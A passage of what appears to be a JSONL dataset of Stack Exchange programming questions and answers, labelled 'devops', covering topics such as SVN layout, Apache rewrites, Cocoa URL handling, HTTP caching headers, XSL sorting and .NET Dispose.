"2026-01-17T15:22:48.175758"}
{"id": "hf_1127899101b4", "question": "<p>We have the standard Subversion trunk/branches/tags layout. We have several branches for medium- and long-term projects, but none so far for a release. This is approaching fast.</p>\n\n<p>Should we:</p>\n\n<ol>\n<li>Mix release branches and project branches together?</li>\n<li>Create a releases folder? If so, is there a better name than releases?</li>\n<li>Create a projects folder and move the current branches there? If so, is there a better name than projects? I've seen \"sandbox\" and \"spike\" in other repositories.</li>\n<li>Something else altogether?</li>\n</ol>\n", "question_body": "", "answer": "Releases is the same as tags... Have you got multiple projects inside your trunk? In that case, I would copy the same folders inside tags\nSo\n```\n```\ntrunk\n     fooapp\n         stuff...\n     barapp\n         stuff...\ntags\n     fooapp\n         1.0.0\n         1.0.1\n     barapp \n         1.0.0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.210912"}
{"id": "hf_ccfd00575696", "question": "<p>Are the naming conventions similar in different languages? If not, what are the differences?</p>\n", "question_body": "", "answer": "Of course there are some common guidelines but there are also differences due to difference in language syntax\\design.\nFor .NET (C#, VB, etc) I would recommend following resource:\nFramework Design Guidelines\n-\ndefinitive book on .NET coding\nguidelines including naming\nconventions\nNaming Guidelines\n- guidelines from Microsoft\nGeneral Naming Conventions\n- another set of MS guidelines (C#, C++, VB)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.269200"}
{"id": "hf_af3a2c412641", "question": "<p>What all would be the requirements for the following scenario:</p>\n\n<blockquote>\n  <p>A GSM modem connected to a PC running\n  a web based (ASP.NET) application. In\n  the application the user selects a\n  phone number from a list of phone nos.\n  When he clicks on a button named the\n  PC should call the selected phone\n  number. When the person on the phone\n  responds he should be able to have a\n  conversation with the PC user.\n  Similarly there should be a facility\n  to send SMS.</p>\n</blockquote>\n\n<p>Now I don't want any code listings. I just need to know what would be the requirements besides asp.net, database for storing phone numbers, and GSM modem.</p>\n\n<p>Any help in terms of reference websites would be highly appreciated.</p>\n", "question_body": "", "answer": "I'll pick some points of your very broad question and answer them. Note that there are other points where others may be of more help...\nFirst, a GSM modem is probably not the way you'd want to go as they usually don't allow for concurrency. So unless you just want one user at the time to use your service, you'd probably need another solution.\nAlso, think about cost issues - at least where I live, providing such a service would be prohibitively expensive using a normal GSM modem and a normal contract - but this is drifting into off-topicness.\nThe next issue will be to get voice data from the client to the server (which will relay it to the phone system - using whatever practical means). Pure browser based functionality won't be of much help, so you would absolutely need something plugin based.\nFlash may work, seeing they provide access to the microphone, but please don't ask me about the details. I've never done anything like this.\nAlso, privacy would be a concern. While GSM data is encrypted, the path between client and server is not per default. And even if you use SSL, you'd have to convince your users trusting you that you don't record all the conversations going on, but this too is more of a political than a coding issue.\nFinally, you'd have to think of bandwidth. Voice uses a lot of it and also it requires low latency. If you use a SIP trunk, you'll need the bandwidth twice per user: Once from and to your client and once from and to the SIP trunk. Calculate with 10-64 KBit/s per user and channel.\nA feasible architecture would probably be to use a SIP trunk (they optimize on using VoIP as much as possible and thus can provide much lower rates than a GSM provider generally does. Also, they allow for concurrency), an Asterisk box (\nhttp://www.asterisk.org\n- a free PBX), some custom made flash client and a custom made SIP client on the server.\nAll in all, this is quite the undertaking :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.334748"}
{"id": "hf_84ebcab1b2b3", "question": "<p>I have a WCF service which includes UI components, which forces me to be in STA mode.</p>\n\n<p>How do I set the service behaviour to STA-mode?</p>\n\n<hr>\n\n<p>The service uses a reference to a WPF DLL file which opens a UI window (used as view port) for picture analysis. When the service is trying to create an instance of that item (inherits from window) it throws an exception:</p>\n\n<blockquote>\n  <p>The calling thread must be an STA</p>\n</blockquote>\n", "question_body": "", "answer": "I would investigate using the [STAThread] attribute to switch the threading model.\ne.g.\n```\n```\n[STAThread]\nstatic void Main()\n{\n        ServiceBase[] ServicesToRun;\n        ServicesToRun = new ServiceBase[] { new Host() };\n        ServiceBase.Run(ServicesToRun);\n}\n```\n```\nDescription of the STAThread attribute\nBut I'm confused why you're using UI components in a web service at all. Can you explain a bit more about why you're trying to do this?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.394875"}
{"id": "hf_87812b26552e", "question": "<p>I'm just about wrapped up on a project where I was using a commercial SVN provider to store the source code. The web host the customer ultimately picked includes a repository as part of the hosting package, so, now that the project is over, I'd like to relocate the repository to their web host and discontinue the commercial account.</p>\n\n<p>How would I go about doing this?</p>\n", "question_body": "", "answer": "Assuming you have the necessary privileges to run svnadmin, you need to use the\ndump\nand\nload\ncommands.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.418561"}
{"id": "hf_8b3afd584191", "question": "<p>I deleted a branch in TFS and just found out that I need the changes that were on it.</p>\n\n<p>How do I recover the branch or the changes done on it?</p>\n", "question_body": "", "answer": "As described in the\nTFS FAQ\n:\nAre Deletes physical or logical? Can accidental deletes be recovered?\nDeletes are fully recoverable with the “undelete” operation. You wouldn’t want to do a SQL restore because that would roll back every change to the TFS in the time since the file was deleted.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.455047"}
{"id": "hf_b06d647ae2a6", "question": "<p>Is there a C# equivalent for the VB.NET <code>FormatNumber</code> function? </p>\n\n<p>I.e.:</p>\n\n<pre><code>JSArrayString += \"^\" + (String)FormatNumber(inv.RRP * oCountry.ExchangeRate, 2);\n</code></pre>\n", "question_body": "", "answer": "You can use string formatters to accomplish the same thing.\n```\n```\ndouble MyNumber = inv.RRP * oCountry.ExchangeRate;\nJSArrayString += \"^\" + MyNumber.ToString(\"#0.00\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.492754"}
{"id": "hf_dbe1642872c6", "question": "<p>Is <a href=\"http://bouncycastle.org/java.html\" rel=\"nofollow noreferrer\">Bouncy Castle API</a> Thread Safe ? Especially,</p>\n\n<pre><code>org.bouncycastle.crypto.paddings.PaddedBufferedBlockCipher\norg.bouncycastle.crypto.paddings.PKCS7Padding\norg.bouncycastle.crypto.engines.AESFastEngine\norg.bouncycastle.crypto.modes.CBCBlockCipher\n</code></pre>\n\n<p>I am planning to write a singleton Spring bean for basic level cryptography support in my app. Since it is a web application, there are greater chances of multiple threads accessing this component at a time. So tread safety is essential here.</p>\n\n<p>Please let me know if you have come across such situations using Bouncy Castle.</p>\n", "question_body": "", "answer": "It really does not matter if the API/Code is thread safe. CBC encryption in itself is not thread safe. \nSome terminology -\n```\n```\nE(X) = Enctrypt message X\nD(X) = Dectrypt X. (Note that D(E(X)) = X)\nIV = Initialization vector. A random sequence to bootstrap the CBC algorithm\nCBC = Cipher block chaining.\n```\n```\nA really simple CBC implementation can look like:\nP1, P2, P3 = Plain text messages\n```\n```\n1. Generate an IV, just random bits.\n2. Calculate E( P1 xor IV) call this C1\n3. Calculate E( P2 xor C1) call this C2\n4. Calculate E( P3 xor C2) call this C3.\n```\n```\nAs you can see, the result of encrypting P1, P2 and P3 (in that order) is different from encrypting P2, P1 and P3 (in that order).\nSo, in a CBC implementation, order is important. Any algorithm where order is important can not, by definition, be thread safe.\nYou can make a Singleton factory that delivers encryption objects, but you cant trust them to be thread safe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.546771"}
{"id": "hf_a60f581b8d4b", "question": "<p>I'm trying to redirect requests for a wildcard domain to a sub-directory.<br />\nie. <code>something.blah.example.com</code> --&gt; <code>blah.example.com/something</code></p>\n<p>I don't know how to get the subdomain name to use in the rewrite rule.</p>\n<p><strong>Final Solution:</strong></p>\n<pre><code>RewriteCond %{HTTP_HOST} !^blah\\.example\\.com\nRewriteCond %{HTTP_HOST} ^([^.]+)\nRewriteRule ^(.*) /%1/$1 [L]\n</code></pre>\n<p>Or as pointed out by pilif</p>\n<pre><code>RewriteCond %{HTTP_HOST} ^([^.]+)\\.blah\\.example\\.com$\n</code></pre>\n", "question_body": "", "answer": "You should have a look at the\nURL Rewriting Guide\nfrom the apache documentation.\nThe following is untested, but it should to the trick:\n```\n```\nRewriteCond %{HTTP_HOST} ^([^.]+)\\.blah\\.domain\\.com$\nRewriteRule ^/(.*)$           http://blah.domain.com/%1/$1 [L,R]\n```\n```\nThis only works if the subdomain contains no dots. Otherwise, you'd have to alter the Regexp in RewriteCond to match any character which should still work due to the anchoring, but this certainly feels safer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.585317"}
{"id": "hf_a24a0bcbda75", "question": "<p>How do you set your Cocoa application as the default web browser?</p>\n\n<p>I want to create an application that is launched by default when the user clicks on an HTTP or HTTPS link in other applications (Mail, iChat etc.).</p>\n", "question_body": "", "answer": "There are four steps to making an app that can act as the default web browser. The first three steps allow your app to act as a role handler for the relevant URL schemes (HTTP and HTTPS) and the final step makes it the default role handler for those schemes.\n1) Add the URL schemes your app can handle to your application's info.plist file\nTo add support for\n```\nhttp://\n```\nand\n```\nhttps://\n```\nyou'd need to add the following to your application's info.plist file. This tells the OS that your application is capable of handling HTTP and HTTP URLs.\n```\n```\n<key>CFBundleURLTypes</key>\n<array>\n    <dict>\n        <key>CFBundleURLName</key>\n        <string>http URL</string>\n        <key>CFBundleURLSchemes</key>\n        <array>\n            <string>http</string>\n        </array>\n    </dict>\n    <dict>\n        <key>CFBundleURLName</key>\n        <string>Secure http URL</string>\n        <key>CFBundleURLSchemes</key>\n        <array>\n            <string>https</string>\n        </array>\n    </dict>\n</array>\n```\n```\n2) Write an URL handler method\nThis method will be called by the OS when it wants to use your application to open a URL. It doesn't matter which object you add this method to, that'll be explicitly passed to the Event Manager in the next step. The URL handler method should look something like this:\n```\n```\n- (void)getUrl:(NSAppleEventDescriptor *)event \n    withReplyEvent:(NSAppleEventDescriptor *)replyEvent\n{\n  // Get the URL\n  NSString *urlStr = [[event paramDescriptorForKeyword:keyDirectObject] \n    stringValue];\n\n  //TODO: Your custom URL handling code here\n}\n```\n```\n3) Register the URL handler method\nNext, tell the event manager which object and method to call when it wants to use your app to load an URL. In the code here I'm passed\n```\nself\n```\nas the event handler, assuming that we're calling\n```\nsetEventHandler\n```\nfrom the same object that defines the\n```\ngetUrl:withReplyEvent:\n```\nmethod.\nYou should add this code somewhere in your application's initialisation code.\n```\n```\nNSAppleEventManager *em = [NSAppleEventManager sharedAppleEventManager];\n[em \n  setEventHandler:self \n  andSelector:@selector(getUrl:withReplyEvent:) \n  forEventClass:kInternetEventClass \n  andEventID:kAEGetURL];\n```\n```\nSome applications, including early versions of Adobe AIR, use the alternative WWW!/OURL AppleEvent to request that an application opens URLs, so to be compatible with those applications you should also add the following:\n```\n```\n[em\n  setEventHandler:self \n  andSelector:@selector(getUrl:withReplyEvent:) \n  forEventClass:'WWW!' \n  andEventID:'OURL'];\n```\n```\n4) Set your app as the default browser\nEverything we've done so far as told the OS that your application is\na browser\n, now we need to make it\nthe default browser\n.\nWe've got to use the Launch Services API to do this. In this case we're setting our app to be the default role handler for HTTP and HTTPS links:\n```\n```\nCFStringRef bundleID = (CFStringRef)[[NSBundle mainBundle] bundleIdentifier];\nOSStatus httpResult = LSSetDefaultHandlerForURLScheme(CFSTR(\"http\"), bundleID);\nOSStatus httpsResult = LSSetDefaultHandlerForURLScheme(CFSTR(\"https\"), bundleID);\n//TODO: Check httpResult and httpsResult for errors\n```\n```\n(It's probably best to ask the user's permission before changing their default browser.)\nCustom URL schemes\nIt's worth noting that you can also use these same steps to handle your own custom URL schemes. If you're creating a custom URL scheme it's a good idea to base it on your app's bundle identifier to avoid clashes with other apps. So if your bundle ID is\n```\ncom.example.MyApp\n```\nyou should consider using\n```\nx-com-example-myapp://\n```\nURLs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.623198"}
{"id": "hf_aadd139a884c", "question": "<p>Our investigations have shown us that not all browsers respect the HTTP cache directives in a uniform manner.</p>\n\n<p>For security reasons we do not want certain pages in our application to be cached, <strong>ever,</strong> by the web browser. This must work for at least the following browsers:</p>\n\n<ul>\n<li>Internet Explorer 6+</li>\n<li>Firefox 1.5+</li>\n<li>Safari 3+</li>\n<li>Opera 9+</li>\n<li>Chrome</li>\n</ul>\n\n<p>Our requirement came from a security test. After logging out from our website you could press the back button and view cached pages.</p>\n", "question_body": "", "answer": "Setting the modified http header to some date in 1995 usually does the trick.\nHere's an example:\n```\nExpires: Wed, 15 Nov 1995 04:58:08 GMT\nLast-Modified: Wed, 15 Nov 1995 04:58:08 GMT\nCache-Control: no-cache, must-revalidate\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.682568"}
{"id": "hf_1dca00be8fe6", "question": "<p>I'm still trying to get my head around LINQ and accessing a SQL Database.</p>\n\n<p>I was always taught that you should only have execute permissions of stored procedures to your data.</p>\n\n<p>You should never have select / insert / update / delete.</p>\n\n<p>(This is because of performance and security)</p>\n\n<p>To get the data out of LINQ you obviously need select permissions.  I know you can use stored procs with LINQ, but since I can't do joins what's the point?</p>\n\n<p>Have I missed something???</p>\n", "question_body": "", "answer": "1) We're programmers, not DBA fascists.  If your requirements state that the database must be locked down 100%, Linq is not for you.  I'm not a DBA, so I believe that most of the performance/security hype is just that.  Linq is for me.\n2) You can do joins with linq.\n@Philippe\n:  Linq automatically transforms evaluations into query parameters, so it provides some sql injection protection.  However, you still have to closely evaluate your requirements to determine how much security you need and at what levels.  Linq makes dealing with the database much easier, but it makes it easier to put secuirty design on the back burner, which is a bad thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.706450"}
{"id": "hf_10d17c204d6b", "question": "<p>What is the difference between</p>\n\n<pre><code>char str1[32] = \"\\0\";\n</code></pre>\n\n<p>and </p>\n\n<pre><code>char str2[32] = \"\";\n</code></pre>\n", "question_body": "", "answer": "Since you already declared the sizes, the two declarations are exactly equal. However, if you do not specify the sizes, you can see that the first declaration makes a larger string:\n```\n```\nchar a[] = \"a\\0\";\nchar b[] = \"a\";\n\nprintf(\"%i %i\\n\", sizeof(a), sizeof(b));\n```\n```\nprints\n```\n```\n3 2\n```\n```\nThis is because a ends with two nulls (the explicit one and the implicit one) while b ends only with the implicit one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.779723"}
{"id": "hf_89097cf8343a", "question": "<p>Jquery has a great language construct that looks like this:</p>\n\n<pre><code>$(document).ready(function() {\n    $(\"a\").click(function() {\n        alert(\"Hello world!\");\n    });\n});\n</code></pre>\n\n<p>As you might guess this, once the document has loaded, binds a custom function to the onClick event of all <strong><em>a</em></strong> tags.</p>\n\n<p>The question is, how can I achieve this same kind of behavior in Prototype?</p>\n", "question_body": "", "answer": "```\n```\nEvent.observe(window, 'load', function() { \n     Event.observe(element, 'click', function() { \n         alert(\"Hello World!\");\n     });\n});\n```\n```\nOf course you need to \"select\" the elements first in Prototype.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.804309"}
{"id": "hf_636b996b1351", "question": "<p>In Oracle, the number of rows returned in an arbitrary query can be limited by filtering on the \"virtual\" <code>rownum</code> column. Consider the following example, which will return, at most, 10 rows.</p>\n\n<pre>SELECT * FROM all_tables WHERE rownum &lt;= 10</pre>\n\n<p>Is there a simple, generic way to do something similar in Ingres?</p>\n", "question_body": "", "answer": "Blatantly changing my answer. \"Limit 10\" works for MySql and others, Ingres uses\n```\n```\nSelect First 10 * from myTable\n```\n```\nRef", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.844835"}
{"id": "hf_41efa9e65e0a", "question": "<p>For many years I have used two great tools <a href=\"http://www.compuware.com/products/devpartner/visualc.htm\" rel=\"noreferrer\">BoundsChecker</a> &amp; <a href=\"http://www-01.ibm.com/software/awdtools/purify/win/\" rel=\"noreferrer\">Purify</a>, but the developers of these applications have let me down, they no longer put effort into maintaining them or developing them. We have corporate accounts with both companies, and they both tell me that they have no intention of producing versions to support 64 bit applications.</p>\n\n<p>Can anyone recommend either open source or commercial alternatives that support 64 bit native C++/MFC applications?</p>\n", "question_body": "", "answer": "I've used bounds checking and other dynamic analysis tools, and while the architectures are different it's the code that you're checking - in theory you could run bounds checking on any backend and the result would be the same - the code either steps outside its bounds or it does not.\nThe only complications are addressing more than 4GB of memory space, dealing with pieces of code you can't cross-compile to a 32-bit architecture (64 bit object files for which you have no source, etc), and general 64 bit migration issues (platform specific code such as checking for 0xFFFFFFFF instead of -1)\nWhat other problems are you running into doing bounds checking on your program?  Are you unable to compile a 32 bit version?\nIt's not your ideal solution, certainly, and one should always check the code they're going to run, but in this case you might not have a choice, unless you want to do your own bounds checking (which is a good idea in any case...).\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.869135"}
{"id": "hf_d658495bfd36", "question": "<p>Can someone suggest some good automated test suite framework for Perl?</p>\n", "question_body": "", "answer": "I'd go for Test::More, or in general, anything that outputs\nTAP", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.913243"}
{"id": "hf_8691a759eb4f", "question": "<p>My company is looking to start distributing some software we developed and would like to be able to let people try the software out before buying.  We'd also like to make sure it can't be copied and distributed to our customers' customers.</p>\n\n<p>One model we've seen is tying a license to a MAC address so the software will only work on one machine.</p>\n\n<p>What I'm wondering is, what's a good way to generate a license key with different information embedded in it such as license expiration date, MAC address, and different software restrictions?</p>\n", "question_body": "", "answer": "I'd suggest you take the pieces of information you want in the key, and hash it with md5, and then just take the first X characters (where X is a key length you think is manageable).\nCryptographically, it's far from perfect, but this is the sort of area where you want to put in the minimum amount of effort which will stop a casual attacker - anything more quickly becomes a black hole.\nOh, I should also point out, you will want to provide the expiration date (and any other information you might want to read out yourself) in plain text (or slightly obfuscated) as part of the key as well if you go down this path - The md5 is just to stop the end user from changing he expiration date to extend the license.\nThe easiest thing would be a key file like this...\n```\n```\n# License key for XYZZY\nexpiry-date=2009-01-01\nother-info=blah\nkey=[md5 has of MAC address, expiry date, other-info]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.938007"}
{"id": "hf_5ee55093da99", "question": "<p>Most of the work I do is with what could be considered enterprise Web applications. These projects have large budgets, longer timelines (from 3-12 months), and heavy customizations. Because as developers we have been touting the idea of the Web as the next desktop OS, customers are coming to expect the software running on this \"new OS\" to react the same as on the desktop. That includes easy to manage automatic upgrades. In other words, \"An update is available. Do you want to upgrade?\" Is this even a realistic expectation? Can anyone speak from experience on trying to implement this feature?</p>\n", "question_body": "", "answer": "One of the primary reasons to implement an application as a web application is that you get automatic upgrades for free.  Why would users be getting prompted for upgrades on a web app?\nFor Windows applications, the \"update is available, do you want to upgrade?\" functionality is provided by Microsoft using ClickOnce, which I have used in an enterprise environment successfully -- there are a few gotchas but for the most part it is a good way to manage automatic deployment and upgrade of Windows apps.\nFor mobile apps, you can also implement auto-upgrades, although it is a little trickier.\nIn any case, to answer your question in a broad sense, I don't know if it is expected that all enterprise apps should make upgrading easy, but it certainly is worth the money from an IT support standpoint to architect them to allow for easy upgrading.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.025051"}
{"id": "hf_0951c8634c8d", "question": "<p>Besides the dynamic nature of Python (and the syntax), what are some of the major features of the Python language that Java doesn't have, and vice versa?</p>\n", "question_body": "", "answer": "I think this pair of articles by Philip J. Eby does a great job discussing the differences between the two languages (mostly about philosophy/mentality rather than specific language features).\nPython is Not Java\nJava is Not Python, either", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.135383"}
{"id": "hf_daca64ce761d", "question": "<p>Say I have this given XML file:</p>\n\n<pre><code>&lt;root&gt;\n    &lt;node&gt;x&lt;/node&gt;\n    &lt;node&gt;y&lt;/node&gt;\n    &lt;node&gt;a&lt;/node&gt;\n&lt;/root&gt;\n</code></pre>\n\n<p>And I want the following to be displayed:</p>\n\n<pre><code>ayx\n</code></pre>\n\n<p>Using something similar to:</p>\n\n<pre><code>&lt;xsl:template match=\"/\"&gt;\n    &lt;xsl:apply-templates select=\"root/node\"/&gt;\n&lt;/xsl:template&gt;\n&lt;xsl:template match=\"node\"&gt;\n    &lt;xsl:value-of select=\".\"/&gt;\n&lt;/xsl:template&gt;\n</code></pre>\n", "question_body": "", "answer": "You can do this, using\n```\nxsl:sort\n```\n. It is important to set the\n```\ndata-type=\"number\"\n```\nbecause else, the position will be sorted as a string, end therefor, the 10th node would ge considered before the 2nd one.\n```\n```\n<xsl:template match=\"/\">\n    <xsl:apply-templates select=\"root/node\">\n        <xsl:sort \n            select=\"position()\" \n            order=\"descending\" \n            data-type=\"number\"/>\n    </xsl:apply-templates>\n</xsl:template>\n<xsl:template match=\"node\">\n    <xsl:value-of select=\".\"/>\n</xsl:template>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.196330"}
{"id": "hf_b7094e241854", "question": "<p>We have an Apache ANT script to build our application, then check in the resulting JAR file into version control (VSS in this case).  However, now we have a change that requires us to build 2 JAR files for this project, then check both into VSS.</p>\n\n<p>The current target that checks the original JAR file into VSS discovers the name of the JAR file through some property.  Is there an easy way to \"generalize\" this target so that I can reuse it to check in a JAR file with any name?  In a normal language this would obviously call for a function parameter but, to my knowledge, there really isn't an equivalent concept in ANT.</p>\n", "question_body": "", "answer": "It is generally considered a bad idea to version control your binaries and I do not recommend doing so. But if you absolutely have to, you can use antcall combined with param to pass parameters and call a target.\n```\n```\n<antcall target=\"reusable\">\n    <param name=\"some.variable\" value=\"var1\"/>\n</antcall>\n\n<target name=\"reusable\">\n    <!-- Do something with ${some.variable} -->\n</target>\n```\n```\nYou can find more information about the\nantcall task here\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.246059"}
{"id": "hf_fc86f0836dcc", "question": "<p>I know I've seen this in the past, but I can't seem to find it now.</p>\n\n<p>Basically I want to create a page that I can host on a <a href=\"http://www.codeplex.com/dasblog\" rel=\"nofollow noreferrer\">dasBlog</a> instance that contains the layout from my theme, but the content of the page I control.</p>\n\n<p>Ideally the content is a user control or ASPX that I write.  Anybody know how I can accomplish this?</p>\n", "question_body": "", "answer": "I did something similar setting up a handler to stream video files from the blog on my home server.  I ended up ditching it because it killed my bandwidth whenever someone would view a video, but I did have it up and working for a while.\nTo get it to work I had to check dasBlog out from source control and open it in visual studio.  I had VS2008 and it was built using VS2005, so it took some work to get everything to build.  Once I could get the unaltered solution to build I added a new class library project to hold my code.  This is to make sure my code stays separate across dasBlog updates.\nI don't have access to the code here at work so I can't tell you exact names right now, but if you want your pages to be able to use the themes then they need to inherit from a class in the newtelligence.dasBlog.Web namespace, and I believe also implement an interface.  A good place to look is in FormatPage and FormatControl.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.269405"}
{"id": "hf_0ba5bcf83176", "question": "<p>What is the difference between <code>UNION</code> and <code>UNION ALL</code>?</p>\n", "question_body": "", "answer": "The basic difference between UNION and UNION ALL is union operation eliminates the duplicated rows from the result set but union all returns all rows after joining.\nfrom\nhttp://zengin.wordpress.com/2007/07/31/union-vs-union-all/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.317306"}
{"id": "hf_63113f99d429", "question": "<p>What is Dynamic Code Analysis?</p>\n\n<p>How is it different from <a href=\"https://stackoverflow.com/questions/49716/what-is-static-code-analysis\">Static Code Analysis</a> (ie, what can it catch that can't be caught in static)?</p>\n\n<p>I've heard of bounds checking and memory analysis - what are these?</p>\n\n<p>What other things are checked using dynamic analysis?</p>\n\n<p>-Adam</p>\n", "question_body": "", "answer": "Basically you instrument your code to analyze your software as it is running (dynamic) rather than just analyzing the software without running (static). Also see this\nJavaOne presentation comparing the two\n.\nValgrind\nis one example dynamic analysis tool for C. You could also use code coverage tools like\nCobertura\nor\nEMMA\nfor Java analysis.\nFrom Wikipedia's\ndefinition of dynamic program analysis\n:\nDynamic program analysis is the\n  analysis of computer software that is\n  performed with executing programs\n  built from that software on a real or\n  virtual processor (analysis performed\n  without executing programs is known as\n  static code analysis). Dynamic program\n  analysis tools may require loading of\n  special libraries or even\n  recompilation of program code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:49.365528"}
{"id": "hf_23964e510995", "question": "<p>Is it necessary to set large objects to <code>null</code> when implementing a <code>Dispose()</code> method?</p>\n", "question_body": "", "answer": "If a class has a Dispose method the best practice is to call it. the reason\nbehind that is that Dispose runs when called, whereas setting the object to\nnull simply adds a entry to the Finalize queue in GC, and we cannot\ndetermine when GC will run.\nThere is no performance benefit in implementing the Dispose method on types that use only managed resources (such as arrays) because they are automatically reclaimed by the garbage collector. Use the Dispose method primarily on managed objects that use native resources and on COM objects that are exposed to the .NET Framework. Managed objects that use native resources (such as the FileStream class) implement the IDisposable interface.\nAn elegant means of inoking Dispose that have adopted is using the \"using\" construct. For those of you who may not be familiar with the construct, it provide a means to implicity invoke Dispose() on an instance that implements IDisposable even if an exception is thrown durring the operation. The following is an example of the using construct:\n```\n```\nusing(DisposableClass dc = new DisposableClass()) \n{ \n   dc.PerformActionOnUmanagedResources(); \n   dc.PerformAnotherActionOnUmanagedResources(); \n}\n```\n```\nIn the previous example, if an exception was thrown in the PerformActionOnUmanagedResources() method, although the PerformAnotherActionOnUmanagedResources() method would not be processed, the using block will still implicity invoke the Dispose method on dc ensuring the realese of any unmanaged resources.", 